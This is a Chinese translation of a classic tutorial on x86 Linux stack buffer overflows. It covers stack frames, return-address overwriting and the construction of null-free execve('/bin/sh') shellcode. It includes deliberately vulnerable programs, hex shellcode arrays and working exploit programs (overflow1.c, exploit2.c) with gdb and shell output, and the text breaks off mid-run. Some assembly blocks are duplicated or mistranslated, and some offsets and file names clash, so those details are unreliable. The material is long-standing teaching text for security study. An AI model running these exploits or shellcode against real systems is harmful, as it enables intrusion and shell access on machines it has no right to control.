“粉碎栈”[C编程]。在许多C语言的实现中,通过对一个程序中声明为auto的数组的尾进行越界存取而破坏一个栈的运行是有可能的。实现这种操作的代码被称为粉碎栈代码,能够导致从程序中返回跳到一个任意的地址。这可以制造我们所知道的最阴险的数据依赖错误(bugs)。各种方式包括清空(trash)栈,滥写(scribble)栈,破坏(mangle)栈;mung the stack一词不使用,因为这从来不是故意做的。看看垃圾邮件(spam);还看看别名陷阱(alias bug),fandango on core, 存储器漏洞(memory leak), precedence lossage, overrun screw。
引言
在过去的几个月中,被发现和利用的缓存溢出攻击大大增加了。这方面的例子有syslog, splitvt, sendmail 8.7.5, Linux/FreeBSD mount, Xt library, at,等等。这篇论文试图解释什么是缓存溢出,它们如何被利用。
基本的汇编程序知识是需要的。对虚拟存储器的理解和gdb的经验非常有用但不必要。我们假设我们工作在Intel x86 CPU上,操作系统是Linux。
我们开始前的一些基本定义:缓存(buffer)只是计算机存储器里的一些相邻的块,存储同一数据类型的多个实例。C程序员通常与缓存数组一词相联系。更一般的是字符数组。数组(Arrays),象C中所有的变量,可以被声明为静态的或动态的。静态变量在加载的时候在数据段上被分配。动态变量在运行的时候在栈上被分配。溢出就是填充超过顶,边缘,或限制。我们只关心动态缓存的溢出,另外也叫基于栈的缓存溢出。
进程存储器组织
理解什么是栈缓存,我们必须先理解一个进程是如何在存储器中组织的。进程分为三个区域:文本,数据和栈。我们将集中于栈区域,但首先先按顺序看看其他区域。
文本区域由程序固定,包括代码(指令)和只读数据。这个区域与可执行文件的文本部分(text section)相对应。这个区域经常被标记为只读,试图写它会导致段冲突(segmentation violation)。
数据区域包含被初始化的和没被初始化的数据。静态变量被存储在这个区域。数据区域与可执行文件的数据部分(data-bss sections)相对应。它的大小可以随系统调用brk(2)变化。如果bss数据的扩充或用户栈用光了可用的存储器,进程被阻塞并重新制定计划用一个大存储空间再运行一遍。新的存储空间被加在数据段和栈段之间。
/------------------/ 低
| | 存储器
| 文本 | 地址
| |
|------------------|
| (初始化的) |
| 数据 |
| (未初始化的) |
|------------------|
| |
| 栈 | 高
| | 存储器
/------------------/ 地址
图1 进程存储器区域
什么是栈
栈是经常在计算机科学中使用的一种抽象数据类型。栈中的对象有这样的性质,最后入栈的对象将最先被移走。这个性质一般被称为后进先出队列,或LIFO。
栈上定义了几种操作。两个最重要的是PUSH 和 POP。PUSH 在栈顶增加一个元素。POP,相反,移走栈顶的一个元素缩小栈的尺寸。
我们为什么使用栈
现代计算机设计得需要高级语言。高级语言引入的组织程序最重要的技术就是过程和函数。从一个观点说,一个过程调用改变了控制流就象跳转语句做的那样,但与跳转语句不同的是当完成了它的任务时,函数将控制返回到调用后面的语句或指令。这个高级抽象是在栈的帮助下实现的。
栈还用来动态的分配函数中使用的局部变量,将参数传递给函数,以及从函数返回值。
栈区域
栈就是包含数据的相邻的块。一个称为栈指针(stack pointer (SP))的寄存器指向栈顶。栈底是一个固定的地址。它的大小在运行时由内核动态调整。CPU应用指令来PUSH 和 POP栈。
栈包括逻辑栈框架(logical stack frames)当调用一个函数时被推入,返回时被弹出。一个栈框架包含一个函数的参数,它的局部变量,以及恢复前一个栈框架所需要的数据,包括函数调用时指令指针的值。
依赖应用,栈或者降低(趋向低存储器地址)或者升高。在我们的例子中我们将使用一个降低的栈。这是栈在许多计算机上的增长方式,包括Intel, Motorola, SPARC 和 MIPS处理器。栈指针(SP)也依赖应用。它可以指向栈上的最后一个地址,或者指向栈后下一个自由可用的地址。在我们的讨论中它指向栈的最后一个地址。
除了指向栈顶(低地址)的栈指针以外,有一个指向框架内一个固定地址的框架指针(frame pointer(FP))也是很方便的。一些文本还将它作为局部基指针(local base pointer (LB))引用。理论上,局部变量可以通过给出它们到SP的偏移量访问到。但是因为字在被推入栈并从栈中弹出,这些偏移量是变化的。虽然在某些情况下编译器能跟踪栈的字数然后来更正偏移量,在某些情况下它不能,在所有的情况下相当的管理是需要的。进一步说,在某些机器上,象基于Intel的处理器,访问一个到SP已知距离的变量需要多个指令。
因此,许多编译器使用第二个寄存器,FP,来引用局部变量和参数,因为它们到FP的距离不随着PUSHes 和 POPs改变。在Intel CPU系列上,BP (EBP)就是这个用处。在Motorola CPU系列上,除了A7(栈指针)以外的任何地址寄存器都可以。因为我们栈增长的方式,真正的参数距离FP有正的偏移量,局部变量距离FP有负的偏移量。
一个过程被调用时首先要做的事就是保存当前的FP(当过程退出时它能够被恢复)。然后它把SP拷贝到FP中建立新的FP,推进SP来为局部变量保存空间。这部份代码叫做过程初始化(procedure prolog)。当进程退出时,栈必须再次被清干净,称为过程终结(procedure epilog)。Intel的ENTER和 LEAVE指令以及Motorola的 LINK 和UNLINK指令,是提供来做procedure prolog 和 epilog工作的。
让我们看看在一个简单的例子中栈是怎样的:
example1.c:
------------------------------------------------------------------------------
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
}
void main() {
function(1,2,3);
}
------------------------------------------------------------------------------
为了理解调用function()程序都干了些什么,我们用gcc编译,用-S开关产生汇编代码输出:
$ gcc -S -o example1.s example1.c
看看汇编语言的输出,我们看到调用function()被翻译成:
pushl $3
pushl $2
pushl $1
call function
这将函数的三个参数推入栈,然后调用function()。指令'call'将指令指针(instruction pointer (IP))推入栈。我们将保存的IP称为返回地址(RET)。在函数中首先做的是过程初始化(procedure prolog):
pushl %ebp
movl %esp,%ebp
subl $20,%esp
这将EBP,框架指针,推入栈。然后将当前的SP拷贝到EBP,成为新的FP指针。我们称保存的FP指针为SFP。然后通过将局部变量的大小从SP中减掉为局部变量分配空间。
我们必须记住存储器只能多字寻址。一个字是4字节或32位。所以我们5字的缓存实际占了8字节(2个字)的存储器。我们10字节的缓存占了12字节(3字)的存储器。这就是为什么SP被减掉了20。这样当function()被调用时我们的栈象这样(每个空格代表1字节):
bottom of top of
memory memory
buffer2 buffer1 sfp ret a b c
<------ [ ][ ][ ][ ][ ][ ][ ]
top of bottom of
stack stack
缓存溢出
缓存溢出是因为向缓存中添入太多的数据,超过它的处理能力。这个经常发现的编程错误如何被利用来执行二进制代码呢?我们看另一个例子:
example2.c
------------------------------------------------------------------------------
void function(char *str) {
char buffer[16];
strcpy(buffer,str);
}
void main() {
char large_string[256];
int i;
for( i = 0; i < 255; i++)
large_string[i] = 'A';
function(large_string);
}
------------------------------------------------------------------------------
这段程序有一个函数带有一个典型的缓存溢出编码错误。函数使用strcpy()而不是strncpy()不做边界检查而拷贝一个提供的字串。如果你运行这段程序你将发现一个段冲突(segmentation violation)。让我们看看调用函数时栈是怎样的:
bottom of top of
memory memory
buffer sfp ret *str
<------ [ ][ ][ ][ ]
top of bottom of
stack stack
这发生了什么?为什么发生了段冲突?很简单,strcpy()拷贝*str (larger_string[])的内容到buffer[]直到在字串发现一个空字符。我们看到buffer[]比*str小很多。buffer[]16字节长,我们试图填充256字节。这意味着整个250字节在缓存后栈中被覆盖了。这包括SFP, RET, 甚至 *str!我们用字符'A'填充large_string。它的十六进制字符值是0x41。那意味着返回地址现在是0x41414141。这在进程地址空间之外。这就是为什么程序返回并试图从那个地址读下一个指令时发生了段冲突。
所以一个缓存溢出允许我们改变函数的返回地址。用这个方法我们可以改变程序的执行流。我们回到第一个例子看看栈是什么样的:
bottom of top of
memory memory
buffer2 buffer1 sfp ret a b c
<------ [ ][ ][ ][ ][ ][ ][ ]
top of bottom of
stack stack
让我们改变第一个例子使它覆盖返回地址,展示一下我们如何让它执行任意代码。在栈上buffer1[]前是SFP,在它之前,是返回地址。它超过了buffer1[]尾4字节。但是记住buffer1[]是2个字8字节长。所以返回地址从buffer1[]的开头开始12字节。我们将通过这种方式改变返回值,函数后面的赋值语句'x = 1;'将被跳过。为了这样做我们将返回地址增加8字节。代码如下:
example3.c:
------------------------------------------------------------------------------
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
int *ret;
ret = buffer1 + 12;
(*ret) += 8;
}
void main() {
int x;
x = 0;
function(1,2,3);
x = 1;
printf("%d/n",x);
}
------------------------------------------------------------------------------
我们所做的就是向buffer1[]的地址增加12。这个新地址是返回地址存放的地方。我们想跳过把赋值传递给printf调用。我们怎么知道在返回地址上加8?我们先用了一个测试值(为例子1),编译程序,然后运行gdb:
------------------------------------------------------------------------------
[aleph1]$ gdb example3
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000490 : pushl %ebp
0x8000491 : movl %esp,%ebp
0x8000493 : subl $0x4,%esp
0x8000496 : movl $0x0,0xfffffffc(%ebp)
0x800049d : pushl $0x3
0x800049f : pushl $0x2
0x80004a1 : pushl $0x1
0x80004a3 : call 0x8000470
0x80004a8 : addl $0xc,%esp
0x80004ab : movl $0x1,0xfffffffc(%ebp)
0x80004b2 : movl 0xfffffffc(%ebp),%eax
0x80004b5 : pushl %eax
0x80004b6 : pushl $0x80004f8
0x80004bb : call 0x8000378
0x80004c0 : addl $0x8,%esp
0x80004c3 : movl %ebp,%esp
0x80004c5 : popl %ebp
0x80004c6 : ret
0x80004c7 : nop
------------------------------------------------------------------------------
我们可以看到当调用function()时,RET是0x8004a8,我们想在0x80004ab处跳过赋值。我们想执行的下一条指令在0x8004b2。简单的数学告诉我们距离是8字节。
Shell代码
所以现在我们知道我们可以改变返回地址以及执行流,我们想执行什么程序?在大部分的情况下我们希望程序产生一个shell。从shell我们则可以发布我们希望的其他命令。但是如果我们利用的程序中没有这样的代码怎么办?我们如何将任意指令放进它的地址空间?答案是将我们要运行的代码放进我们要溢出的缓存中,并覆盖返回地址使它指回缓存。假设栈从地址0xFF开始,S代表我们要执行的代码,栈是象这样的:
bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of
memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory
buffer sfp ret a b c
<------ [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]
^ |
|____________________________|
top of bottom of
stack stack
代码产生了一个C的shell如下:
shellcode.c
-----------------------------------------------------------------------------
#include
void main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
------------------------------------------------------------------------------
为了看看汇编是怎样的我们编译它,运行gdb。记住使用-static标记。否则execve系统调用的真实代码就不会被包括了。这样将引用动态C库,一般情况下在加载时它才被链接。
------------------------------------------------------------------------------
[aleph1]$ gcc -o shellcode -ggdb -static shellcode.c
[aleph1]$ gdb shellcode
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 : pushl %ebp
0x8000131 : movl %esp,%ebp
0x8000133 : subl $0x8,%esp
0x8000136 : movl $0x80027b8,0xfffffff8(%ebp)
0x800013d : movl $0x0,0xfffffffc(%ebp)
0x8000144 : pushl $0x0
0x8000146 : leal 0xfffffff8(%ebp),%eax
0x8000149 : pushl %eax
0x800014a : movl 0xfffffff8(%ebp),%eax
0x800014d : pushl %eax
0x800014e : call 0x80002bc <__execve>
0x8000153 : addl $0xc,%esp
0x8000156 : movl %ebp,%esp
0x8000158 : popl %ebp
0x8000159 : ret
End of assembler dump.
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
0x80002c0 <__execve+4>: movl $0xb,%eax
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
0x80002ce <__execve+18>: int $0x80
0x80002d0 <__execve+20>: movl %eax,%edx
0x80002d2 <__execve+22>: testl %edx,%edx
0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>
0x80002d6 <__execve+26>: negl %edx
0x80002d8 <__execve+28>: pushl %edx
0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location>
0x80002de <__execve+34>: popl %edx
0x80002df <__execve+35>: movl %edx,(%eax)
0x80002e1 <__execve+37>: movl $0xffffffff,%eax
0x80002e6 <__execve+42>: popl %ebx
0x80002e7 <__execve+43>: movl %ebp,%esp
0x80002e9 <__execve+45>: popl %ebp
0x80002ea <__execve+46>: ret
0x80002eb <__execve+47>: nop
End of assembler dump.
------------------------------------------------------------------------------
让我们试着理解发生的事情。我们从研究主要的开始:
------------------------------------------------------------------------------
0x8000130 : pushl %ebp
0x8000131 : movl %esp,%ebp
0x8000133 : subl $0x8,%esp
这是过程的前奏。它首先存储老的框架指针,将当前的栈指针变成新的框架指针,并为局部变量留出空间。在这种情况下:
char *name[2];
或2个指向字符的指针。指针1字长,所以留出2字的空间(8字节)。
0x8000136 : movl $0x80027b8,0xfffffff8(%ebp)
我们拷贝值0x80027b8 (the address of the string "/bin/sh")到第一个指针name[]。这等同于:
name[0] = "/bin/sh";
0x800013d : movl $0x0,0xfffffffc(%ebp)
我们拷贝值0x0 (NULL)到第二个指针name[]。这等同于:
name[1] = NULL;
真正调用execve()从这开始。
0x8000144 : pushl $0x0
我们将参数推入execve(),以相反的顺序推入栈。我们从NULL开始。
0x8000146 : leal 0xfffffff8(%ebp),%eax
我们将name[]的地址读入EAX寄存器。
0x8000149 : pushl %eax
我们将name[]的地址推入栈。
0x800014a : movl 0xfffffff8(%ebp),%eax
我们将字串 "/bin/sh" 的地址读入 EAX 寄存器。
0x800014d : pushl %eax
我们将字串 "/bin/sh" 的地址推入栈。
0x800014e : call 0x80002bc <__execve>
调用库过程execve()。调用指令将IP推入栈。
------------------------------------------------------------------------------
现在execve()。记住我们在使用基于Intel的Linux系统。系统调用的细节因操作系统和CPU的不同而不同。有些在栈上传递参数,另一些在寄存器上完成。一些使用软件中断的方法跳入内核模式,另一些使用远程调用。Linux在寄存器上将参数传递给系统调用,使用软件中断跳入到内核模式。
------------------------------------------------------------------------------
0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
过程开始。
0x80002c0 <__execve+4>: movl $0xb,%eax
拷贝0xb (11十进制)到栈。这是到系统调用表的索引。11是 execve。
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
拷贝 "/bin/sh" 的地址到 EBX.
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
拷贝name[]的地址到ECX.
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
拷贝null指针的地址到 %edx.
0x80002ce <__execve+18>: int $0x80
变到内核模式.
------------------------------------------------------------------------------
所以我们可以看到execve()系统调用没有什么。我们所要做的是:
a) 让 null在存储器中某处终止字串 "/bin/sh" 。
b) 让字串"/bin/sh"的地址在存储器中某处被一个空长字跟随。
c) 拷贝 0xb到 EAX 寄存器。
d) 拷贝字串"/bin/sh" 地址的地址到EBX寄存器。
e) 拷贝字串"/bin/sh"的地址到 ECX 寄存器。
f) 拷贝空长字的地址到EDX 寄存器。
g) 执行int $0x80 指令。
但如果execve()调用失败了怎么办?程序将继续从栈中取指令,可能包含任意数据!程序可能会core dump。如果execve系统调用失败了我们希望程序干净地退出。Exit系统调用是怎样的?
exit.c
------------------------------------------------------------------------------
#include
void main() {
exit(0);
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o exit -static exit.c
[aleph1]$ gdb exit
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x800034c <_exit>: pushl %ebp
0x800034d <_exit+1>: movl %esp,%ebp
0x800034f <_exit+3>: pushl %ebx
0x8000350 <_exit+4>: movl $0x1,%eax
0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx
0x8000358 <_exit+12>: int $0x80
0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>: movl %ebp,%esp
0x800035f <_exit+19>: popl %ebp
0x8000360 <_exit+20>: ret
0x8000361 <_exit+21>: nop
0x8000362 <_exit+22>: nop
0x8000363 <_exit+23>: nop
End of assembler dump.
------------------------------------------------------------------------------
exit系统调用将0x1放到EAX,将exit代码放到EBX,并执行"int 0x80"。就是这样。许多应用在exit时返回0表示没有错误。我们将0放在EBX。步骤如下:
a) 让null在存储器中某处终止字串"/bin/sh" 。
b) 让字串 "/bin/sh" 的地址在存储器中某处被一个空长字跟随。
c) 拷贝0xb 到 EAX 寄存器。
d) 拷贝字串"/bin/sh"的地址的地址到EBX寄存器。
e) 拷贝字串 "/bin/sh" 的地址的地址到ECX 寄存器。
f) 拷贝空长字的地址到 EDX 寄存器。??
g) 执行int $0x80 指令。
h) 拷贝 0x1 到 EAX 寄存器。
i) 拷贝 0x0 到 EBX 寄存器。
j) 执行 int $0x80 指令。
试着把这些用汇编语言汇总起来,把字串放在代码后面,记住我们将把字串的地址和空长字放在数组后,我们有:
------------------------------------------------------------------------------
movl string_addr,string_addr_addr
movb $0x0,null_byte_addr
movl $0x0,null_addr
movl $0xb,%eax
movl string_addr,%ebx
leal string_addr,%ecx
leal null_string,%edx
int $0x80
movl $0x1, %eax
movl $0x0, %ebx
int $0x80
/bin/sh string goes here.
mov String addr addr,%ecx //<__execve+22> //String addr addr
0x804d23c mov NULL,%edx //NULL ??
0x804d240 mov String addr,ebx //String add
mov $0xb,%eax //Int 80 vector 0xb
0x804d247 int $0x80
movl $0x1, %eax
movl $0x0, %ebx
int $0x80
/bin/sh string goes here.
------------------------------------------------------------------------------
问题是我们不知道我们将要利用的代码(及后面跟随的字串)放在存储器空间的什么地方。一个办法是使用JMP和 CALL指令。JMP 和 CALL指令能使用IP相对寻址,意味着我们可以跳到一个从当前IP开始的偏移量处而不必知道我们所要跳到的存储器中确切地址。如果我们将一个CALL指令放在"/bin/sh"字串前,JMP指令放在它后面,当CALL被执行时,字串的地址将被推入栈作为返回地址。我们所要做的就是将返回地址拷贝到一个寄存器中。CALL指令只能调用我们上面代码的开始。假设J代表JMP指令,C代表CALL指令,s代表字串,执行流如下:
bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of
memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory
buffer sfp ret a b c
<------ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
^|^ ^| |
|||_____________||____________| (1)
(2) ||_____________||
|______________| (3)
top of bottom of
stack stack
通过这个修正,使用索引地址,写下每个指令占我们代码几个字节:
------------------------------------------------------------------------------
jmp offset-to-call # 2 bytes
popl %esi # 1 byte
movl %esi,array-offset(%esi) # 3 bytes
movb $0x0,nullbyteoffset(%esi)# 4 bytes
movl $0x0,null-offset(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal array-offset,(%esi),%ecx # 3 bytes
leal null-offset(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call offset-to-popl # 5 bytes
/bin/sh string goes here.
jmp offset-to-call # 2 bytes
popl %esi # 1 byte
movl %esi,array-offset(%esi) # 3 bytes //中间过渡存储
movb $0x0,nullbyteoffset(%esi)# 4 bytes
movl $0x0,null-offset(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal array-offset(%esi),%ecx # 3 bytes //String addr addr
leal null-offset(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call offset-to-popl # 5 bytes
/bin/sh string goes here.
------------------------------------------------------------------------------
计算从jmp 到 call,从call 到 popl,从字串地址到数组,从字串地址到空长字的偏移量,我们有:
------------------------------------------------------------------------------
jmp 0x2a6 # 52 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2fb # 5 bytes
.string /"/bin/sh/" # 8 bytes
------------------------------------------------------------------------------
看起来很好。确定它工作得很好我们必须编译它运行它。但是有一个问题。我们的代码修改了自己,但是大部分的操作系统标记代码页为只读。为了传播这个约束我们必须把我们要执行的代码放在栈或数据段,把控制传给它。为了这样做我们将代码放在数据段的一个全局数组中。我们首先需要二进制代码的一个十六进制表述。我们先编译它,然后使用gdb获得它。
shellcodeasm.c
------------------------------------------------------------------------------
void main() {
__asm__("
jmp 0x2a # 3 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2f # 5 bytes
.string /"/bin/sh/" # 8 bytes
");
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c
[aleph1]$ gdb shellcodeasm
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 : pushl %ebp
0x8000131 : movl %esp,%ebp
0x8000133 : jmp 0x800015f
0x8000135 : popl %esi
0x8000136 : movl %esi,0x8(%esi)
0x8000139 : movb $0x0,0x7(%esi)
0x800013d : movl $0x0,0xc(%esi)
0x8000144 : movl $0xb,%eax
0x8000149 : movl %esi,%ebx
0x800014b : leal 0x8(%esi),%ecx
0x800014e : leal 0xc(%esi),%edx
0x8000151 : int $0x80
0x8000153 : movl $0x1,%eax
0x8000158 : movl $0x0,%ebx
0x800015d : int $0x80
0x800015f : call 0x8000135
0x8000164 : das
0x8000165 : boundl 0x6e(%ecx),%ebp
0x8000168 : das
0x8000169 : jae 0x80001d3 <__new_exitfn+55>
0x800016b : addb %cl,0x55c35dec(%ecx)
End of assembler dump.
(gdb) x/bx main+3
0x8000133 : 0xeb
(gdb)
0x8000134 : 0x2a
(gdb)
.
.
.
------------------------------------------------------------------------------
objdump -j .text -Sl shellcodeasm | more
并且参照x86指令集,修正jmp和call的参数。
/xeb/x2a jmp 2a
xe8/xd1/xff/xff/xff call ffffffd1
testsc.c
------------------------------------------------------------------------------
char shellcode[] =
"/xeb/x2a/x5e/x89/x76/x08/xc6/x46/x07/x00/xc7/x46/x0c/x00/x00/x00"
"/x00/xb8/x0b/x00/x00/x00/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80"
"/xb8/x01/x00/x00/x00/xbb/x00/x00/x00/x00/xcd/x80/xe8/xd1/xff/xff"
"/xff/x2f/x62/x69/x6e/x2f/x73/x68/x00/x89/xec/x5d/xc3";
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o testsc testsc.c
[aleph1]$ ./testsc
$ exit
[aleph1]$
------------------------------------------------------------------------------
它工作了!但是有一个障碍。在大多数情况下我们试图溢出一个字符缓存。象这样任何shell代码中的空字节将被看成字符串的尾,拷贝将被终止。要想利用起作用shell代码中应该没有空字节。让我们试着删除字节(同时使它变小)。
Problem instruction: Substitute with:
--------------------------------------------------------
movb $0x0,0x7(%esi) xorl %eax,%eax
molv $0x0,0xc(%esi) movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
--------------------------------------------------------
movl $0xb,%eax movb $0xb,%al
--------------------------------------------------------
movl $0x1, %eax xorl %ebx,%ebx
movl $0x0, %ebx movl %ebx,%eax
inc %eax
--------------------------------------------------------
我们改进的代码:
shellcodeasm2.c
------------------------------------------------------------------------------
void main() {
__asm__("
jmp 0x1f # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
xorl %eax,%eax # 2 bytes
movb %eax,0x7(%esi) # 3 bytes
movl %eax,0xc(%esi) # 3 bytes
movb $0xb,%al # 2 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
xorl %ebx,%ebx # 2 bytes
movl %ebx,%eax # 2 bytes
inc %eax # 1 bytes
int $0x80 # 2 bytes
call -0x24 # 5 bytes
.string /"/bin/sh/" # 8 bytes
# 46 bytes total
");
}
------------------------------------------------------------------------------
我们的新测试程序:
testsc2.c
------------------------------------------------------------------------------
char shellcode[] =
"/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b"
"/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd"
"/x80/xe8/xdc/xff/xff/xff/bin/sh";
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o testsc2 testsc2.c
[aleph1]$ ./testsc2
$ exit
[aleph1]$
------------------------------------------------------------------------------
写一个应用(or how to mung the stack)
让我们试着把所有的东西汇总起来。我们有shell代码。我们知道它一定是我们用来溢出缓存的字串的一部分。我们知道我们必须把返回地址指回到缓存。下面这个例子将展示这些要点:
overflow1.c
------------------------------------------------------------------------------
char shellcode[] =
"/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b"
"/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd"
"/x80/xe8/xdc/xff/xff/xff/bin/sh";
char large_string[128];
void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];
strcpy(buffer,large_string);
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o exploit1 exploit1.c
[aleph1]$ ./exploit1
$ exit
exit
[aleph1]$
------------------------------------------------------------------------------
我们所做的就是用buffer[]的地址填充数组large_string[],那是我们代码所存放的地方。然后我们将shell代码拷贝到large_string字串的开头。strcpy()将在不做任何边界检查的情况下把large_string拷贝到缓存,而且将溢出返回地址,用我们的代码现在所处位置的地址覆盖它。一旦到达了main的结尾它试图返回,跳到我们的代码,执行一个shell。
我们试着溢出另一个程序的缓存时遇到的问题就是判断缓存(以及我们的代码)在哪。答案是对于每个程序来说栈都从同一个地址开始。大多数程序一次不会推入几百或几千个字节入栈。所以知道栈从哪开始我们可以猜要溢出的缓存在哪。下面的程序将打印它的栈指针:
sp.c
------------------------------------------------------------------------------
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main() {
printf("0x%x/n", get_sp());
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ ./sp
0x8000470
[aleph1]$
------------------------------------------------------------------------------
假设下面是我们想要溢出的程序:
vulnerable.c
------------------------------------------------------------------------------
void main(int argc, char *argv[]) {
char buffer[512];
if (argc > 1)
strcpy(buffer,argv[1]);
}
------------------------------------------------------------------------------
我们创建一个程序将缓存的大小以及从它自己栈指针(我们想要溢出的缓存就在那)的偏移量作为参数。我们将溢出的字串放在一个环境变量中以便操作:
exploit2.c
------------------------------------------------------------------------------
#include
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
char shellcode[] =
"/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b"
"/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd"
"/x80/xe8/xdc/xff/xff/xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory./n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x/n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr += 4; //为 EGG= 的头留空间
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '/0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
------------------------------------------------------------------------------
现在我们可以猜猜缓存和偏移量是什么:
------------------------------------------------------------------------------
[aleph1]$ ./exploit2 500
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
[aleph1]$ exit
[aleph1]$ ./exploit2 600
